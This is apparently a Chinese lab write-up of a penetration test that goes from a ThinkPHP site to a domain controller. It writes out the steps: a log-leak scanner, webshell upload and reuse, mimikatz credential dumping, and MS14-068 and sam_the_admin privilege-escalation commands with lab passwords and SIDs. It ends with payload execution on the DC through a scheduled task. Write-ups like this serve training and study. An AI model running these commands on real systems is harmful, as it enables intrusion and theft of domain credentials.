从外网Thinkphp打入并拿下域控
靶标渗透
环境搭建
cd到目录下:C:\Windows\System32\drivers\etc\
修改hosts文件
为ip添加host
信息收集
- nmap查看开放端口
开了3306,3389
查看框架得知是thinkphp
使用工具扫出日志泄露
遍历日期来获取日志,https://gitee.com/keyboxdzd/TPLogScan
python TPLogScan.py -u http://www.webhack123.com//App/ -v 3 -p /Runtime/Logs/ -m 7 -d 1
获取7月到现在的日志信息
获取webshell
经过大量日志审计后最终在9.30号发现了端倪,有usernam和passwod
获取到了管理员的账号密码
md5解密后得到
登陆后台
在系统设置中发现有文件上传的地方
尝试上传一句话,观察到可以添加文件类型,果断添加jsp
点击提交
查看图片上传地址
得到页面http://www.webhack123.com/index.php/Page/about.shtml
但发现打开页面并未解析,冰蝎连不上,溯决定上传php,(做到下一步才猛然想到网站是php写的,jsp连**,直接用php的冰蝎马不就好了,还是太菜了)
使用php上传
蚁剑连接成功
得到webshell后在蚁剑逛了一逛,发现了一大堆奇奇怪怪的,也是怕马子被别人删,找到了一处别人上传过php的冰蝎马,
密码不是初始密码,拿去md5解密一下,得到密码yc
成功连上冰蝎(别人的🐎)
内网信息收集
查看权限,为管理员权限
查看基本系统信息 命令:systeminfo
为2008的机器,并且就两个补丁,啊这,并且存在域环境
查看杀软,命令:tasklist /svc
无杀软,很惊喜
有两张网卡
上线cs
这里弄了半天,因为内网不出网,并且物理机连着vpn,所以打算虚拟机开启cs,物理机开启一个frp服务端,kali作为客户端,进行上线
将虚拟机的4567端口转发到本机vpn的46898端口,添加监听,一一对应即可
使用powershell上线
第一台web机上线成功
内网信息收集
- mimikatz抓密码
抓取到web用户密码为**!@#Qwe456**,因为有域环境,猜测密码与DC不会一致
Administrator密码为T1//@1607#@
- 端口扫描
查看域内用户
net view /domain:hackbox
查看补丁
systeminfo
查看域控 地址
地址为192.168.150.254
拿到https://i.hacking8.com/tiquan上查一下哪些补丁是遗漏的
网上搜索找到一个洞可以将普通域用户提升到域控的漏洞 MS14-068(未打补丁KB3011780)
漏洞利用(方法一)
远程连接
发现这么连接并不成功,登不进域内,那就登陆工作组
登陆成功
Ms14-068.exe 下载地址: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
将poc上传至目标服务器
访问DC共享文件夹
获取用户sid:
whoami /user
利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书
sid不能弄错,注意用户
1 | MS14-068.exe -u web@hackbox.com -p !@#Qwe456 -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 192.168.150.254 |
生成票据:
使用mimikatz攻击
mimikatz.exe
清除目标内存中的所有票据
命令:
kerberos::purge
- 将票据注入到目标内存
命令:kerberos::ptc 票据
查看当前票据
命令:
kerberos::list
存在域管票据
登陆远程文件夹成功,成功拿下dc
漏洞利用(方法二)
使用最新的漏洞CVE-2021-42287,只需一个域用户可直接提升至域管权限
漏洞分析链接:https://mp.weixin.qq.com/s/RvOndF3gdEZbgqrIPqXsUg
漏洞利用脚本:https://github.com/WazeHell/sam-the-admin
先使用sock代理,代理出来方便执行python
命令如下:
1 | proxychains4 python3 sam_the_admin.py 'hackbox/WEB:!@#Qwe456' -dc-ip 192.168.150.254 -shell |
等待一会即可得到回弹shell
域管权限
上线域管
准备上线域控,因为域控192开头,内网不出网,我觉得采用正向连接,创建一个smb监听,然后主动去连接DC机
(后来看了别的佬的WP后猛然想到反向连接也是可以的,之前这里没成功,原因是host搞错了,新的监听ip应该是192.168.150.6,而不是172.16.150.6,因为192和DC相通,唉,所以说渗透测试思路很重要呀!)
使用copy命令上传至dc机器中
copy 9.exe \\\dc\c$
at计划任务获取shell
使用命令
net time \\dc
查看当前机器时间,并使用at定时一个命令,我们让9.exe执行即可
添加成功,等到34分即可执行exe
使用命令 lind dc 连接DC(因为是正向)
观察cs,等待上线
成功上线域管
抓取密码
这边好像没有抓到明文密码。。。。
决定添加一个用户上去看一下
拉倒